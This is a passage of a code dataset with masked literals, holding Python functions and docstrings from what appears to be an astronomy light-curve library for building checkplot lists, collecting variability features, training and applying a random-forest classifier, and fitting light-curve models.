filtertargets:<EOL><INDENT>finalfilterind = []<EOL>for ind, fcond in enumerate(filterconditions):<EOL><INDENT>thisftarget = np.array([x[ind] for x in filtertargets])<EOL>if (sortdone):<EOL><INDENT>thisftarget = thisftarget[sortind]<EOL><DEDENT>try:<EOL><INDENT>foperator, foperand = fcond.split('<STR_LIT:@>')<EOL>foperator = FILTEROPS[foperator]<EOL>filterstr = (<EOL>'<STR_LIT>' %<EOL>(foperator, foperand)<EOL>)<EOL>filterind = eval(filterstr)<EOL>finalfilterind.append(filterind)<EOL>filterstatements.append('<STR_LIT>' % (filterkeys[ind],<EOL>foperator,<EOL>foperand))<EOL><DEDENT>except Exception as e:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>(args.filterby[ind], e))<EOL>print('<STR_LIT>')<EOL><DEDENT><DEDENT>finalfilterind = np.column_stack(finalfilterind)<EOL>finalfilterind = np.all(finalfilterind, axis=<NUM_LIT:1>)<EOL>filterresults = searchresults[finalfilterind]<EOL>if filterresults.size > <NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT>' %<EOL>(repr(args.filterby), filterresults.size))<EOL>searchresults = filterresults<EOL>filterok = True<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' %<EOL>(repr(args.filterby), ))<EOL>print('<STR_LIT>')<EOL><DEDENT><DEDENT>searchresults = searchresults.tolist()<EOL>if not(sortkey and sortorder):<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>searchresults = sorted(searchresults)<EOL>sortkey = '<STR_LIT:filename>'<EOL>sortorder = '<STR_LIT>'<EOL><DEDENT><DEDENT>nchunks = int(len(searchresults)/splitout) + <NUM_LIT:1><EOL>searchchunks = [searchresults[x*splitout:x*splitout+splitout] for x<EOL>in range(nchunks)]<EOL>if nchunks > <NUM_LIT:1>:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' % (splitout, nchunks))<EOL><DEDENT>if (filterkeys and filterconditions) and not filterok:<EOL><INDENT>filterstatements = []<EOL><DEDENT>for chunkind, chunk in enumerate(searchchunks):<EOL><INDENT>outjson = os.path.abspath(<EOL>os.path.join(<EOL>currdir,<EOL>'<STR_LIT>' % (<EOL>('<STR_LIT>' % outprefix if outprefix is not None else '<STR_LIT>'),<EOL>('<STR_LIT>' % chunkind if len(searchchunks) > <NUM_LIT:1> else '<STR_LIT>'),<EOL>)<EOL>)<EOL>)<EOL>outjson = outjson.replace('<STR_LIT:|>','<STR_LIT:_>')<EOL>outjson = outjson.replace('<STR_LIT:@>','<STR_LIT:_>')<EOL>if os.path.exists(outjson):<EOL><INDENT>if sys.version_info[:<NUM_LIT:2>] < (<NUM_LIT:3>,<NUM_LIT:0>):<EOL><INDENT>answer = raw_input(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>outjson<EOL>)<EOL><DEDENT>else:<EOL><INDENT>answer = input(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' %<EOL>outjson<EOL>)<EOL><DEDENT>if answer and answer == '<STR_LIT:y>':<EOL><INDENT>with open(outjson,'<STR_LIT:w>') as outfd:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>' % outjson)<EOL>outdict = {<EOL>'<STR_LIT>':chunk,<EOL>'<STR_LIT>':len(chunk),<EOL>'<STR_LIT>':sortkey,<EOL>'<STR_LIT>':sortorder,<EOL>'<STR_LIT>':filterstatements<EOL>}<EOL>json.dump(outdict,outfd)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>with open(outjson,'<STR_LIT:r>') as infd:<EOL><INDENT>indict = json.load(infd)<EOL><DEDENT>indict['<STR_LIT>'] = chunk<EOL>indict['<STR_LIT>'] = len(chunk)<EOL>indict['<STR_LIT>'] = sortkey<EOL>indict['<STR_LIT>'] = sortorder<EOL>indict['<STR_LIT>'] = filterstatements<EOL>with open(outjson,'<STR_LIT:w>') as outfd:<EOL><INDENT>json.dump(indict, outfd)<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>with open(outjson,'<STR_LIT:w>') as outfd:<EOL><INDENT>outdict = {'<STR_LIT>':chunk,<EOL>'<STR_LIT>':len(chunk),<EOL>'<STR_LIT>':sortkey,<EOL>'<STR_LIT>':sortorder,<EOL>'<STR_LIT>':filterstatements}<EOL>json.dump(outdict,outfd)<EOL><DEDENT><DEDENT>if os.path.exists(outjson):<EOL><INDENT>print('<STR_LIT>' % outjson)<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>print('<STR_LIT>' % checkplotbasedir)<EOL><DEDENT>", "docstring": "This is the main function of this script.\n\n    The current script args are shown below ::\n\n        Usage: checkplotlist [-h] [--search SEARCH] [--sortby SORTBY]\n                             [--filterby FILTERBY] [--splitout SPLITOUT]\n                             [--outprefix OUTPREFIX] [--maxkeyworkers MAXKEYWORKERS]\n                             {pkl,png} cpdir\n\n        This makes a checkplot file list for use with the checkplot-viewer.html\n        (for checkplot PNGs) or the checkplotserver.py (for checkplot pickles)\n        webapps.\n\n        positional arguments:\n          {pkl,png}             type of checkplot to search for: pkl -> checkplot\n                                pickles, png -> checkplot PNGs\n          cpdir                 directory containing the checkplots to process\n\n        optional arguments:\n          -h, --help            show this help message and exit\n          --search SEARCH       file glob prefix to use when searching for checkplots,\n                                default: '*checkplot*', (the extension is added\n                                automatically - .png or .pkl)\n          --sortby SORTBY       the sort key and order to use when sorting\n          --filterby FILTERBY   the filter key and condition to use when filtering.\n                                you can specify this multiple times to filter by\n                                several keys at once. all filters are joined with a\n                                logical AND operation in the order they're given.\n          --splitout SPLITOUT   if there are more than SPLITOUT objects in the target\n                                directory (default: 5000), checkplotlist will split\n                                the output JSON into multiple files. this helps keep\n                                the checkplotserver webapp responsive.\n          --outprefix OUTPREFIX\n                                a prefix string to use for the output JSON file(s).\n                                use this to separate out different sort orders or\n                                filter conditions, for example. if this isn't\n                                provided, but --sortby or --filterby are, will use\n                                those to figure out the output files' prefixes\n          --maxkeyworkers MAXKEYWORKERS\n                                the number of parallel workers that will be launched\n                                to retrieve checkplot key values used for sorting and\n                                filtering (default: 2)", "id": "f14713:m2"}
{"signature": "def collect_nonperiodic_features(<EOL>featuresdir,<EOL>magcol,<EOL>outfile,<EOL>pklglob='<STR_LIT>',<EOL>featurestouse=NONPERIODIC_FEATURES_TO_COLLECT,<EOL>maxobjects=None,<EOL>labeldict=None,<EOL>labeltype='<STR_LIT>',<EOL>):", "body": "<EOL>pklist = glob.glob(os.path.join(featuresdir, pklglob))<EOL>if maxobjects:<EOL><INDENT>pklist = pklist[:maxobjects]<EOL><DEDENT>if TQDM:<EOL><INDENT>listiterator = tqdm(pklist)<EOL><DEDENT>else:<EOL><INDENT>listiterator = pklist<EOL><DEDENT>feature_dict = {'<STR_LIT>':[],'<STR_LIT>':magcol, '<STR_LIT>':[]}<EOL>LOGINFO('<STR_LIT>' % magcol)<EOL>for pkl in listiterator:<EOL><INDENT>with open(pkl,'<STR_LIT:rb>') as infd:<EOL><INDENT>varf = pickle.load(infd)<EOL><DEDENT>objectid = varf['<STR_LIT>']<EOL>if objectid not in feature_dict['<STR_LIT>']:<EOL><INDENT>feature_dict['<STR_LIT>'].append(objectid)<EOL><DEDENT>thisfeatures = varf[magcol]<EOL>if featurestouse and len(featurestouse) > <NUM_LIT:0>:<EOL><INDENT>featurestoget = featurestouse<EOL><DEDENT>else:<EOL><INDENT>featurestoget = NONPERIODIC_FEATURES_TO_COLLECT<EOL><DEDENT>for feature in featurestoget:<EOL><INDENT>if ((feature not in feature_dict['<STR_LIT>']) and<EOL>(feature in thisfeatures)):<EOL><INDENT>feature_dict['<STR_LIT>'].append(feature)<EOL>feature_dict[feature] = []<EOL><DEDENT>if feature in thisfeatures:<EOL><INDENT>feature_dict[feature].append(<EOL>thisfeatures[feature]<EOL>)<EOL><DEDENT><DEDENT><DEDENT>for feat in feature_dict['<STR_LIT>']:<EOL><INDENT>feature_dict[feat] = np.array(feature_dict[feat])<EOL><DEDENT>feature_dict['<STR_LIT>'] = np.array(feature_dict['<STR_LIT>'])<EOL>feature_array = np.column_stack([feature_dict[feat] for feat in<EOL>feature_dict['<STR_LIT>']])<EOL>feature_dict['<STR_LIT>'] = feature_array<EOL>if isinstance(labeldict, dict):<EOL><INDENT>labelarray = np.zeros(feature_dict['<STR_LIT>'].size, dtype=np.int64)<EOL>for ind, objectid in enumerate(feature_dict['<STR_LIT>']):<EOL><INDENT>if objectid in labeldict:<EOL><INDENT>if labeltype == '<STR_LIT>':<EOL><INDENT>if labeldict[objectid]:<EOL><INDENT>labelarray[ind] = <NUM_LIT:1><EOL><DEDENT><DEDENT>elif labeltype == '<STR_LIT>':<EOL><INDENT>labelarray[ind] = labeldict[objectid]<EOL><DEDENT><DEDENT><DEDENT>feature_dict['<STR_LIT>'] = labelarray<EOL><DEDENT>feature_dict['<STR_LIT>'] = {'<STR_LIT>':pklglob,<EOL>'<STR_LIT>':featurestouse,<EOL>'<STR_LIT>':maxobjects,<EOL>'<STR_LIT>':labeltype}<EOL>with open(outfile,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(feature_dict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return feature_dict<EOL>", "docstring": "This collects variability features into arrays for use with the classifer.\n\n    Parameters\n    ----------\n\n    featuresdir : str\n        This is the directory where all the varfeatures pickles are. Use\n        `pklglob` to specify the glob to search for. The `varfeatures` pickles\n        contain objectids, a light curve magcol, and features as dict\n        key-vals. The :py:mod:`astrobase.lcproc.lcvfeatures` module can be used\n        to produce these.\n\n    magcol : str\n        This is the key in each varfeatures pickle corresponding to the magcol\n        of the light curve the variability features were extracted from.\n\n    outfile : str\n        This is the filename of the output pickle that will be written\n        containing a dict of all the features extracted into np.arrays.\n\n    pklglob : str\n        This is the UNIX file glob to use to search for varfeatures pickle files\n        in `featuresdir`.\n\n    featurestouse : list of str\n        Each varfeatures pickle can contain any combination of non-periodic,\n        stellar, and periodic features; these must have the same names as\n        elements in the list of strings provided in `featurestouse`.  This tries\n        to get all the features listed in NONPERIODIC_FEATURES_TO_COLLECT by\n        default. If `featurestouse` is provided as a list, gets only the\n        features listed in this kwarg instead.\n\n    maxobjects : int or None\n        The controls how many pickles from the featuresdir to process. If None,\n        will process all varfeatures pickles.\n\n    labeldict : dict or None\n        If this is provided, it must be a dict with the following key:val list::\n\n            '<objectid>':<label value>\n\n        for each objectid collected from the varfeatures pickles. This will turn\n        the collected information into a training set for classifiers.\n\n        Example: to carry out non-periodic variable feature collection of fake\n        LCS prepared by :py:mod:`astrobase.fakelcs.generation`, use the value\n        of the 'isvariable' dict elem from the `fakelcs-info.pkl` here, like\n        so::\n\n            labeldict={x:y for x,y in zip(fakelcinfo['objectid'],\n                                          fakelcinfo['isvariable'])}\n\n    labeltype : {'binary', 'classes'}\n        This is either 'binary' or 'classes' for binary/multi-class\n        classification respectively.\n\n    Returns\n    -------\n\n    dict\n        This returns a dict with all of the features collected into np.arrays,\n        ready to use as input to a scikit-learn classifier.", "id": "f14714:m1"}
{"signature": "def apply_rf_classifier(classifier,<EOL>varfeaturesdir,<EOL>outpickle,<EOL>maxobjects=None):", "body": "if isinstance(classifier,str) and os.path.exists(classifier):<EOL><INDENT>with open(classifier,'<STR_LIT:rb>') as infd:<EOL><INDENT>clfdict = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(classifier, dict):<EOL><INDENT>clfdict = classifier<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if '<STR_LIT>' not in clfdict:<EOL><INDENT>LOGERROR(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % varfeaturesdir)<EOL>return None<EOL><DEDENT>featurestouse = clfdict['<STR_LIT>']<EOL>pklglob = clfdict['<STR_LIT>']['<STR_LIT>']<EOL>magcol = clfdict['<STR_LIT>']<EOL>featfile = os.path.join(<EOL>os.path.dirname(outpickle),<EOL>'<STR_LIT>'<EOL>)<EOL>features = collect_nonperiodic_features(<EOL>varfeaturesdir,<EOL>magcol,<EOL>featfile,<EOL>pklglob=pklglob,<EOL>featurestouse=featurestouse,<EOL>maxobjects=maxobjects<EOL>)<EOL>bestclf = clfdict['<STR_LIT>']<EOL>predicted_labels = bestclf.predict(features['<STR_LIT>'])<EOL>predicted_label_probs = bestclf.predict_proba(<EOL>features['<STR_LIT>']<EOL>)<EOL>outdict = {<EOL>'<STR_LIT>':features,<EOL>'<STR_LIT>':featfile,<EOL>'<STR_LIT>':clfdict,<EOL>'<STR_LIT>':predicted_labels,<EOL>'<STR_LIT>':predicted_label_probs,<EOL>}<EOL>with open(outpickle,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(outdict, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT>return outdict<EOL>", "docstring": "This applys an RF classifier trained using `train_rf_classifier`\n    to varfeatures pickles in `varfeaturesdir`.\n\n    Parameters\n    ----------\n\n    classifier : dict or str\n        This is the output dict or pickle created by `get_rf_classifier`. This\n        will contain a `features_name` key that will be used to collect the same\n        features used to train the classifier from the varfeatures pickles in\n        varfeaturesdir.\n\n    varfeaturesdir : str\n        The directory containing the varfeatures pickles for objects that will\n        be classified by the trained `classifier`.\n\n    outpickle : str\n        This is a filename for the pickle that will be written containing the\n        result dict from this function.\n\n    maxobjects : int\n        This sets the number of objects to process in `varfeaturesdir`.\n\n    Returns\n    -------\n\n    dict\n        The classification results after running the trained `classifier` as\n        returned as a dict. This contains predicted labels and their prediction\n        probabilities.", "id": "f14714:m3"}
{"signature": "def plot_training_results(classifier,<EOL>classlabels,<EOL>outfile):", "body": "if isinstance(classifier,str) and os.path.exists(classifier):<EOL><INDENT>with open(classifier,'<STR_LIT:rb>') as infd:<EOL><INDENT>clfdict = pickle.load(infd)<EOL><DEDENT><DEDENT>elif isinstance(classifier, dict):<EOL><INDENT>clfdict = classifier<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>confmatrix = clfdict['<STR_LIT>']<EOL>overall_feature_importances = clfdict[<EOL>'<STR_LIT>'<EOL>].feature_importances_<EOL>feature_importances_per_tree = np.array([<EOL>tree.feature_importances_<EOL>for tree in clfdict['<STR_LIT>'].estimators_<EOL>])<EOL>stdev_feature_importances = np.std(feature_importances_per_tree,axis=<NUM_LIT:0>)<EOL>feature_names = np.array(clfdict['<STR_LIT>'])<EOL>plt.figure(figsize=(<NUM_LIT>*<NUM_LIT>,<NUM_LIT>))<EOL>plt.subplot(<NUM_LIT>)<EOL>classes = np.array(classlabels)<EOL>plt.imshow(confmatrix, interpolation='<STR_LIT>', cmap=plt.cm.Blues)<EOL>tick_marks = np.arange(len(classes))<EOL>plt.xticks(tick_marks, classes)<EOL>plt.yticks(tick_marks, classes)<EOL>plt.title('<STR_LIT>')<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.xlabel('<STR_LIT>')<EOL>thresh = confmatrix.max() / <NUM_LIT><EOL>for i, j in itertools.product(range(confmatrix.shape[<NUM_LIT:0>]),<EOL>range(confmatrix.shape[<NUM_LIT:1>])):<EOL><INDENT>plt.text(j, i, confmatrix[i, j],<EOL>horizontalalignment=\"<STR_LIT>\",<EOL>color=\"<STR_LIT>\" if confmatrix[i, j] > thresh else \"<STR_LIT>\")<EOL><DEDENT>plt.subplot(<NUM_LIT>)<EOL>features = np.array(feature_names)<EOL>sorted_ind = np.argsort(overall_feature_importances)[::-<NUM_LIT:1>]<EOL>features = features[sorted_ind]<EOL>feature_names = feature_names[sorted_ind]<EOL>overall_feature_importances = overall_feature_importances[sorted_ind]<EOL>stdev_feature_importances = stdev_feature_importances[sorted_ind]<EOL>plt.bar(np.arange(<NUM_LIT:0>,features.size),<EOL>overall_feature_importances,<EOL>yerr=stdev_feature_importances,<EOL>width=<NUM_LIT>,<EOL>color='<STR_LIT>')<EOL>plt.xticks(np.arange(<NUM_LIT:0>,features.size),<EOL>features,<EOL>rotation=<NUM_LIT>)<EOL>plt.yticks([<NUM_LIT:0.0>,<NUM_LIT:0.1>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:1.0>])<EOL>plt.xlim(-<NUM_LIT>, features.size - <NUM_LIT:1.0> + <NUM_LIT>)<EOL>plt.ylim(<NUM_LIT:0.0>,<NUM_LIT>)<EOL>plt.ylabel('<STR_LIT>')<EOL>plt.title('<STR_LIT>')<EOL>plt.subplots_adjust(wspace=<NUM_LIT:0.1>)<EOL>plt.savefig(outfile,<EOL>bbox_inches='<STR_LIT>',<EOL>dpi=<NUM_LIT:100>)<EOL>plt.close('<STR_LIT:all>')<EOL>return outfile<EOL>", "docstring": "This plots the training results from the classifier run on the training\n    set.\n\n    - plots the confusion matrix\n\n    - plots the feature importances\n\n    - FIXME: plot the learning curves too, see:\n      http://scikit-learn.org/stable/modules/learning_curve.html\n\n    Parameters\n    ----------\n\n    classifier : dict or str\n        This is the output dict or pickle created by `get_rf_classifier`\n        containing the trained classifier.\n\n    classlabels : list of str\n        This contains all of the class labels for the current classification\n        problem.\n\n    outfile : str\n        This is the filename where the plots will be written.\n\n    Returns\n    -------\n\n    str\n        The path to the generated plot file.", "id": "f14714:m4"}
{"signature": "def lcfit_features(times, mags, errs, period,<EOL>fourierorder=<NUM_LIT:5>,<EOL>transitparams=(-<NUM_LIT>,<NUM_LIT:0.1>,<NUM_LIT:0.1>),<EOL>ebparams=(-<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT:0.5>),<EOL>sigclip=<NUM_LIT>,<EOL>magsarefluxes=False,<EOL>fitfailure_means_featurenan=False,<EOL>verbose=True):", "body": "<EOL>finind = np.isfinite(times) & np.isfinite(mags) & np.isfinite(errs)<EOL>ftimes, fmags, ferrs = times[finind], mags[finind], errs[finind]<EOL>nzind = np.nonzero(ferrs)<EOL>ftimes, fmags, ferrs = ftimes[nzind], fmags[nzind], ferrs[nzind]<EOL>lightcurve_median = np.median(fmags)<EOL>lightcurve_mad = np.median(np.abs(fmags - lightcurve_median))<EOL>ffit = lcfit.fourier_fit_magseries(ftimes, fmags, ferrs, period,<EOL>fourierorder=fourierorder,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>fourier_fitcoeffs = ffit['<STR_LIT>']['<STR_LIT>']<EOL>fourier_chisq = ffit['<STR_LIT>']<EOL>fourier_redchisq = ffit['<STR_LIT>']<EOL>if fourier_fitcoeffs is not None:<EOL><INDENT>fourier_modelmags, _, _, fpmags, _ = sinusoidal.fourier_sinusoidal_func(<EOL>[period,<EOL>ffit['<STR_LIT>']['<STR_LIT>'],<EOL>ffit['<STR_LIT>']['<STR_LIT>'][:fourierorder],<EOL>ffit['<STR_LIT>']['<STR_LIT>'][fourierorder:]],<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL>fourier_residuals = fourier_modelmags - fpmags<EOL>fourier_residual_median = np.median(fourier_residuals)<EOL>fourier_residual_mad = np.median(np.abs(fourier_residuals -<EOL>fourier_residual_median))<EOL>famplitudes = fourier_fitcoeffs[:fourierorder]<EOL>fphases = fourier_fitcoeffs[fourierorder:]<EOL>famp_combos = combinations(famplitudes,<NUM_LIT:2>)<EOL>famp_cinds = combinations(range(len(famplitudes)),<NUM_LIT:2>)<EOL>fpha_combos = combinations(fphases,<NUM_LIT:2>)<EOL>fpha_cinds = combinations(range(len(fphases)),<NUM_LIT:2>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>initfourieramps = [<NUM_LIT>] + [<NUM_LIT>]*(fourierorder - <NUM_LIT:1>)<EOL>initfourierphas = [<NUM_LIT:0.1>] + [<NUM_LIT:0.1>]*(fourierorder - <NUM_LIT:1>)<EOL>fourier_modelmags, _, _, fpmags, _ = sinusoidal.fourier_sinusoidal_func(<EOL>[period,<EOL>ffit['<STR_LIT>']['<STR_LIT>'],<EOL>initfourieramps,<EOL>initfourierphas],<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL>fourier_residuals = fourier_modelmags - fpmags<EOL>fourier_residual_median = np.median(fourier_residuals)<EOL>fourier_residual_mad = np.median(np.abs(fourier_residuals -<EOL>fourier_residual_median))<EOL>famplitudes = initfourieramps<EOL>fphases = initfourierphas<EOL>famp_combos = combinations(famplitudes,<NUM_LIT:2>)<EOL>famp_cinds = combinations(range(len(famplitudes)),<NUM_LIT:2>)<EOL>fpha_combos = combinations(fphases,<NUM_LIT:2>)<EOL>fpha_cinds = combinations(range(len(fphases)),<NUM_LIT:2>)<EOL><DEDENT>fampratios = {}<EOL>fphadiffs = {}<EOL>for ampi, ampc, phai, phac in zip(famp_cinds,<EOL>famp_combos,<EOL>fpha_cinds,<EOL>fpha_combos):<EOL><INDENT>ampratind = '<STR_LIT>' % (ampi[<NUM_LIT:1>]+<NUM_LIT:1>, ampi[<NUM_LIT:0>]+<NUM_LIT:1>)<EOL>amprat = ampc[<NUM_LIT:1>]/ampc[<NUM_LIT:0>]<EOL>phadiffind = '<STR_LIT>' % (phai[<NUM_LIT:1>]+<NUM_LIT:1>, phai[<NUM_LIT:0>]+<NUM_LIT:1>)<EOL>phadiff = phac[<NUM_LIT:1>] - phai[<NUM_LIT:0>]*phac[<NUM_LIT:0>]<EOL>fampratios[ampratind] = amprat<EOL>fphadiffs[phadiffind] = phadiff<EOL><DEDENT>outdict = {<EOL>'<STR_LIT>':fampratios,<EOL>'<STR_LIT>':fphadiffs,<EOL>'<STR_LIT>':fourier_fitcoeffs,<EOL>'<STR_LIT>':fourier_redchisq,<EOL>'<STR_LIT>':fourier_chisq,<EOL>'<STR_LIT>':fourier_residual_median,<EOL>'<STR_LIT>':fourier_residual_mad,<EOL>'<STR_LIT>':fourier_residual_mad/lightcurve_mad<EOL>}<EOL>planetfitparams = [period,<EOL>None,<EOL>transitparams[<NUM_LIT:0>],<EOL>transitparams[<NUM_LIT:1>],<EOL>transitparams[<NUM_LIT:2>]]<EOL>ebfitparams = [period,<EOL>None,<EOL>ebparams[<NUM_LIT:0>],<EOL>ebparams[<NUM_LIT:1>],<EOL>ebparams[<NUM_LIT:2>],<EOL>ebparams[<NUM_LIT:3>]]<EOL>planet_fit = lcfit.traptransit_fit_magseries(ftimes, fmags, ferrs,<EOL>planetfitparams,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>planetfit_finalparams = planet_fit['<STR_LIT>']['<STR_LIT>']<EOL>planetfit_finalparamerrs = planet_fit['<STR_LIT>']['<STR_LIT>']<EOL>if planetfit_finalparamerrs is None and fitfailure_means_featurenan:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>planetfit_chisq = np.nan<EOL>planetfit_redchisq = np.nan<EOL>planet_residual_median = np.nan<EOL>planet_residual_mad = np.nan<EOL>planet_residual_mad_over_lcmad = np.nan<EOL><DEDENT>else:<EOL><INDENT>planetfit_chisq = planet_fit['<STR_LIT>']<EOL>planetfit_redchisq = planet_fit['<STR_LIT>']<EOL>if planetfit_finalparams is not None:<EOL><INDENT>planet_modelmags, _, _, ppmags, _ = transits.trapezoid_transit_func(<EOL>planetfit_finalparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>'<EOL>'<STR_LIT>')<EOL>planet_modelmags, _, _, ppmags, _ = transits.trapezoid_transit_func(<EOL>planetfitparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL><DEDENT>planet_residuals = planet_modelmags - ppmags<EOL>planet_residual_median = np.median(planet_residuals)<EOL>planet_residual_mad = np.median(np.abs(planet_residuals -<EOL>planet_residual_median))<EOL>planet_residual_mad_over_lcmad = planet_residual_mad/lightcurve_mad<EOL><DEDENT>eb_fit = lcfit.gaussianeb_fit_magseries(ftimes, fmags, ferrs,<EOL>ebfitparams,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>ebfit_finalparams = eb_fit['<STR_LIT>']['<STR_LIT>']<EOL>ebfit_finalparamerrs = eb_fit['<STR_LIT>']['<STR_LIT>']<EOL>if ebfit_finalparamerrs is None and fitfailure_means_featurenan:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>ebfit_chisq = np.nan<EOL>ebfit_redchisq = np.nan<EOL>eb_residual_median = np.nan<EOL>eb_residual_mad = np.nan<EOL>eb_residual_mad_over_lcmad = np.nan<EOL><DEDENT>else:<EOL><INDENT>ebfit_chisq = eb_fit['<STR_LIT>']<EOL>ebfit_redchisq = eb_fit['<STR_LIT>']<EOL>if ebfit_finalparams is not None:<EOL><INDENT>eb_modelmags, _, _, ebpmags, _ = eclipses.invgauss_eclipses_func(<EOL>ebfit_finalparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>eb_modelmags, _, _, ebpmags, _ = eclipses.invgauss_eclipses_func(<EOL>ebfitparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL><DEDENT>eb_residuals = eb_modelmags - ebpmags<EOL>eb_residual_median = np.median(eb_residuals)<EOL>eb_residual_mad = np.median(np.abs(eb_residuals - eb_residual_median))<EOL>eb_residual_mad_over_lcmad = eb_residual_mad/lightcurve_mad<EOL><DEDENT>ebfitparams[<NUM_LIT:0>] = ebfitparams[<NUM_LIT:0>]*<NUM_LIT><EOL>eb_fitx2 = lcfit.gaussianeb_fit_magseries(ftimes, fmags, ferrs,<EOL>ebfitparams,<EOL>sigclip=sigclip,<EOL>magsarefluxes=magsarefluxes,<EOL>verbose=verbose)<EOL>ebfitx2_finalparams = eb_fitx2['<STR_LIT>']['<STR_LIT>']<EOL>ebfitx2_finalparamerrs = eb_fitx2['<STR_LIT>']['<STR_LIT>']<EOL>if ebfitx2_finalparamerrs is None and fitfailure_means_featurenan:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>ebfitx2_chisq = np.nan<EOL>ebfitx2_redchisq = np.nan<EOL>ebx2_residual_median = np.nan<EOL>ebx2_residual_mad = np.nan<EOL>ebx2_residual_mad_over_lcmad = np.nan<EOL><DEDENT>else:<EOL><INDENT>ebfitx2_chisq = eb_fitx2['<STR_LIT>']<EOL>ebfitx2_redchisq = eb_fitx2['<STR_LIT>']<EOL>if ebfitx2_finalparams is not None:<EOL><INDENT>ebx2_modelmags, _, _, ebx2pmags, _ = (<EOL>eclipses.invgauss_eclipses_func(<EOL>ebfitx2_finalparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL>)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>ebx2_modelmags, _, _, ebx2pmags, _ = (<EOL>eclipses.invgauss_eclipses_func(<EOL>ebfitparams,<EOL>ftimes,<EOL>fmags,<EOL>ferrs<EOL>)<EOL>)<EOL><DEDENT>ebx2_residuals = ebx2_modelmags - ebx2pmags<EOL>ebx2_residual_median = np.median(ebx2_residuals)<EOL>ebx2_residual_mad = np.median(np.abs(ebx2_residuals -<EOL>ebx2_residual_median))<EOL>ebx2_residual_mad_over_lcmad = ebx2_residual_mad/lightcurve_mad<EOL><DEDENT>outdict.update({<EOL>'<STR_LIT>':planetfit_finalparams,<EOL>'<STR_LIT>':planetfit_chisq,<EOL>'<STR_LIT>':planetfit_redchisq,<EOL>'<STR_LIT>':planet_residual_median,<EOL>'<STR_LIT>':planet_residual_mad,<EOL>'<STR_LIT>':(<EOL>planet_residual_mad_over_lcmad,<EOL>),<EOL>'<STR_LIT>':ebfit_finalparams,<EOL>'<STR_LIT>':ebfit_chisq,<EOL>'<STR_LIT>':ebfit_redchisq,<EOL>'<STR_LIT>':eb_residual_median,<EOL>'<STR_LIT>':eb_residual_mad,<EOL>'<STR_LIT>':(<EOL>eb_residual_mad_over_lcmad,<EOL>),<EOL>'<STR_LIT>':ebfitx2_finalparams,<EOL>'<STR_LIT>':ebfitx2_chisq,<EOL>'<STR_LIT>':ebfitx2_redchisq,<EOL>'<STR_LIT>':ebx2_residual_median,<EOL>'<STR_LIT>':ebx2_residual_mad,<EOL>'<STR_LIT>':(<EOL>ebx2_residual_mad_over_lcmad,<EOL>),<EOL>})<EOL>return outdict<EOL>", "docstring": "This calculates various features related to fitting models to light\n    curves.\n\n    This function:\n\n    - calculates `R_ij` and `phi_ij` ratios for Fourier fit amplitudes and\n      phases.\n\n    - calculates the reduced chi-sq for fourier, EB, and planet transit fits.\n\n    - calculates the reduced chi-sq for fourier, EB, planet transit fits w/2 x\n      period.\n\n    Parameters\n    ----------\n\n    times,mags,errs : np.array\n        The input mag/flux time-series to calculate periodic features for.\n\n    period : float\n        The period of variabiity to use to phase the light curve.\n\n    fourierorder : int\n        The Fourier order to use to generate sinusoidal function and fit that to\n        the phased light curve.\n\n    transitparams : list of floats\n        The transit depth, duration, and ingress duration to use to generate 